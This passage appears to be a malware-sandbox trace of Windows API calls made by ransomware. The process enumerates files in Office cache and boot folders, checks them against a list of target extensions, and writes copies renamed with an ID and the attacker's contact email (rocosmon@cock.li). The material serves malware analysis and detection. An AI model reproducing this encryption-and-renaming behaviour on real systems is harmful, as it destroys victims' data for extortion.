	[0103.181] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0103.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0103.181] lstrlenW (lpString=".1cd") returned 4
	[0103.181] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0103.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0103.181] lstrlenW (lpString=".jpg") returned 4
	[0103.181] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0103.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0103.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0103.182] lstrlenW (lpString=".doc") returned 4
	[0103.182] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0103.182] lstrlenW (lpString=".docx") returned 5
	[0103.182] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0103.182] lstrlenW (lpString=".pdf") returned 4
	[0103.182] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0103.182] lstrlenW (lpString=".xls") returned 4
	[0103.182] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0103.182] lstrlenW (lpString=".xlsx") returned 5
	[0103.182] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0103.182] lstrlenW (lpString=".ppt") returned 4
	[0103.182] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0103.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0103.182] lstrlenW (lpString=".zip") returned 4
	[0103.182] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0103.182] lstrlenW (lpString=".rar") returned 4
	[0103.182] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0103.182] lstrlenW (lpString=".bz2") returned 4
	[0103.182] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0103.182] lstrlenW (lpString=".7z") returned 3
	[0103.182] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0103.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0103.182] lstrlenW (lpString=".dbf") returned 4
	[0103.182] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0103.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0103.182] lstrlenW (lpString=".1cd") returned 4
	[0103.182] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0103.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0103.182] lstrlenW (lpString=".jpg") returned 4
	[0103.182] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0103.183] lstrcmpiW (lpString1=".exe", lpString2=".4k") returned 1
	[0103.183] lstrlenW (lpString="setup.exe") returned 9
	[0103.183] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0103.183] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=1377656) returned 1
	[0103.183] CloseHandle (hObject=0x18c) returned 1
	[0103.183] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020
	[0103.183] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0103.183] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0103.183] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.183] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.183] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0103.184] GetLastError () returned 0x0
	[0103.184] ReadFile (in: hFile=0x18c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x336fed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0104.676] WriteFile (in: hFile=0x214, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x336fc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0104.799] ReadFile (hFile=0x18c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0) 

Thread:
	id = 18
	os_tid = 0xaa4

	[0088.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3641058
	[0088.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3651060
	[0088.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f03c8
	[0088.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4f30c8
	[0088.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f03e0
	[0088.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x3c70020
	[0088.054] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f03f8
	[0088.054] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f03f8, Size=0x20) returned 0x35d06f0
	[0088.054] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f03f8
	[0088.054] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f03f8, Size=0x20) returned 0x35d0718
	[0088.054] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0088.054] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0088.054] Wow64DisableWow64FsRedirection (in: OldValue=0x35bff58 | out: OldValue=0x35bff58*=0x0) returned 1
	[0088.054] lstrlenW (lpString="kernel32.dll") returned 12
	[0088.054] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x35d06f0 | out: hHeap=0x4a0000) returned 1
	[0088.054] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0088.054] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x35d0718 | out: hHeap=0x4a0000) returned 1
	[0088.054] Sleep (dwMilliseconds=0x64) 
	[0088.216] lstrcmpiW (lpString1=".mui", lpString2=".4k") returned 1
	[0088.216] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0088.216] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0088.217] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=89168) returned 1
	[0088.217] CloseHandle (hObject=0x16c) returned 1
	[0088.217] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20
	[0088.217] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.217] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.217] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0088.217] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0088.217] lstrlenW (lpString=".doc") returned 4
	[0088.217] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.217] lstrlenW (lpString=".docx") returned 5
	[0088.217] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.217] lstrlenW (lpString=".pdf") returned 4
	[0088.217] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.217] lstrlenW (lpString=".xls") returned 4
	[0088.217] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.217] lstrlenW (lpString=".xlsx") returned 5
	[0088.217] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.217] lstrlenW (lpString=".ppt") returned 4
	[0088.217] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.217] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0088.217] lstrlenW (lpString=".zip") returned 4
	[0088.217] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.217] lstrlenW (lpString=".rar") returned 4
	[0088.218] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.218] lstrlenW (lpString=".bz2") returned 4
	[0088.218] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.218] lstrlenW (lpString=".7z") returned 3
	[0088.218] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.218] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0088.218] lstrlenW (lpString=".dbf") returned 4
	[0088.218] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.218] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0088.218] lstrlenW (lpString=".1cd") returned 4
	[0088.218] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.218] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0088.218] lstrlenW (lpString=".jpg") returned 4
	[0088.218] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.218] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0088.218] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0088.218] lstrlenW (lpString=".doc") returned 4
	[0088.218] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.218] lstrlenW (lpString=".docx") returned 5
	[0088.218] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.218] lstrlenW (lpString=".pdf") returned 4
	[0088.218] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.218] lstrlenW (lpString=".xls") returned 4
	[0088.218] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.219] lstrlenW (lpString=".xlsx") returned 5
	[0088.219] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.219] lstrlenW (lpString=".ppt") returned 4
	[0088.219] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.219] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0088.219] lstrlenW (lpString=".zip") returned 4
	[0088.219] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.219] lstrlenW (lpString=".rar") returned 4
	[0088.219] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.219] lstrlenW (lpString=".bz2") returned 4
	[0088.219] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.219] lstrlenW (lpString=".7z") returned 3
	[0088.219] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.219] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0088.219] lstrlenW (lpString=".dbf") returned 4
	[0088.219] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.219] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0088.219] lstrlenW (lpString=".1cd") returned 4
	[0088.219] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.219] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0088.219] lstrlenW (lpString=".jpg") returned 4
	[0088.219] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.219] lstrcmpiW (lpString1=".mui", lpString2=".4k") returned 1
	[0088.219] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0088.219] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0088.220] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=87616) returned 1
	[0088.220] CloseHandle (hObject=0x16c) returned 1
	[0088.220] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20
	[0088.220] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.220] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.220] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0088.220] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0088.220] lstrlenW (lpString=".doc") returned 4
	[0088.220] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.220] lstrlenW (lpString=".docx") returned 5
	[0088.220] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.220] lstrlenW (lpString=".pdf") returned 4
	[0088.220] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.220] lstrlenW (lpString=".xls") returned 4
	[0088.220] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.220] lstrlenW (lpString=".xlsx") returned 5
	[0088.220] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.220] lstrlenW (lpString=".ppt") returned 4
	[0088.220] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.220] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0088.220] lstrlenW (lpString=".zip") returned 4
	[0088.220] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.220] lstrlenW (lpString=".rar") returned 4
	[0088.220] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.221] lstrlenW (lpString=".bz2") returned 4
	[0088.221] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.221] lstrlenW (lpString=".7z") returned 3
	[0088.221] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.221] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0088.221] lstrlenW (lpString=".dbf") returned 4
	[0088.221] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.221] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0088.221] lstrlenW (lpString=".1cd") returned 4
	[0088.221] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.221] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0088.221] lstrlenW (lpString=".jpg") returned 4
	[0088.221] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.221] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0088.221] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0088.221] lstrlenW (lpString=".doc") returned 4
	[0088.221] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.221] lstrlenW (lpString=".docx") returned 5
	[0088.221] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.221] lstrlenW (lpString=".pdf") returned 4
	[0088.221] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.221] lstrlenW (lpString=".xls") returned 4
	[0088.221] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.221] lstrlenW (lpString=".xlsx") returned 5
	[0088.221] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.221] lstrlenW (lpString=".ppt") returned 4
	[0088.221] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.221] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0088.221] lstrlenW (lpString=".zip") returned 4
	[0088.221] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.221] lstrlenW (lpString=".rar") returned 4
	[0088.222] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.222] lstrlenW (lpString=".bz2") returned 4
	[0088.222] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.222] lstrlenW (lpString=".7z") returned 3
	[0088.222] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.222] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0088.222] lstrlenW (lpString=".dbf") returned 4
	[0088.222] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.222] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0088.222] lstrlenW (lpString=".1cd") returned 4
	[0088.222] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.222] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0088.222] lstrlenW (lpString=".jpg") returned 4
	[0088.222] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.222] lstrcmpiW (lpString1=".mui", lpString2=".4k") returned 1
	[0088.222] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0088.222] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0088.222] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=91712) returned 1
	[0088.222] CloseHandle (hObject=0x16c) returned 1
	[0088.223] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20
	[0088.223] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.223] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.223] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0088.223] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0088.223] lstrlenW (lpString=".doc") returned 4
	[0088.223] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.223] lstrlenW (lpString=".docx") returned 5
	[0088.223] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.223] lstrlenW (lpString=".pdf") returned 4
	[0088.223] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.223] lstrlenW (lpString=".xls") returned 4
	[0088.223] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.223] lstrlenW (lpString=".xlsx") returned 5
	[0088.223] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.223] lstrlenW (lpString=".ppt") returned 4
	[0088.223] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.223] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0088.223] lstrlenW (lpString=".zip") returned 4
	[0088.223] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.223] lstrlenW (lpString=".rar") returned 4
	[0088.223] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.224] lstrlenW (lpString=".bz2") returned 4
	[0088.224] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.224] lstrlenW (lpString=".7z") returned 3
	[0088.224] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.224] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0088.224] lstrlenW (lpString=".dbf") returned 4
	[0088.224] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.224] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0088.224] lstrlenW (lpString=".1cd") returned 4
	[0088.224] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.224] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0088.224] lstrlenW (lpString=".jpg") returned 4
	[0088.224] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.224] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0088.224] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0088.224] lstrlenW (lpString=".doc") returned 4
	[0088.224] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.224] lstrlenW (lpString=".docx") returned 5
	[0088.224] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.224] lstrlenW (lpString=".pdf") returned 4
	[0088.224] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.225] lstrlenW (lpString=".xls") returned 4
	[0088.225] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.225] lstrlenW (lpString=".xlsx") returned 5
	[0088.225] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.225] lstrlenW (lpString=".ppt") returned 4
	[0088.225] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.225] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0088.225] lstrlenW (lpString=".zip") returned 4
	[0088.225] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.225] lstrlenW (lpString=".rar") returned 4
	[0088.225] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.225] lstrlenW (lpString=".bz2") returned 4
	[0088.225] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.225] lstrlenW (lpString=".7z") returned 3
	[0088.225] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.225] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0088.225] lstrlenW (lpString=".dbf") returned 4
	[0088.225] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.225] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0088.225] lstrlenW (lpString=".1cd") returned 4
	[0088.225] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.225] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0088.226] lstrlenW (lpString=".jpg") returned 4
	[0088.226] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.226] lstrcmpiW (lpString1=".mui", lpString2=".4k") returned 1
	[0088.226] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0088.226] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0088.226] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=94800) returned 1
	[0088.226] CloseHandle (hObject=0x16c) returned 1
	[0088.226] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20
	[0088.226] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.227] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.227] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0088.227] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0088.227] lstrlenW (lpString=".doc") returned 4
	[0088.227] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.227] lstrlenW (lpString=".docx") returned 5
	[0088.227] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.227] lstrlenW (lpString=".pdf") returned 4
	[0088.227] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.227] lstrlenW (lpString=".xls") returned 4
	[0088.227] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.227] lstrlenW (lpString=".xlsx") returned 5
	[0088.227] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
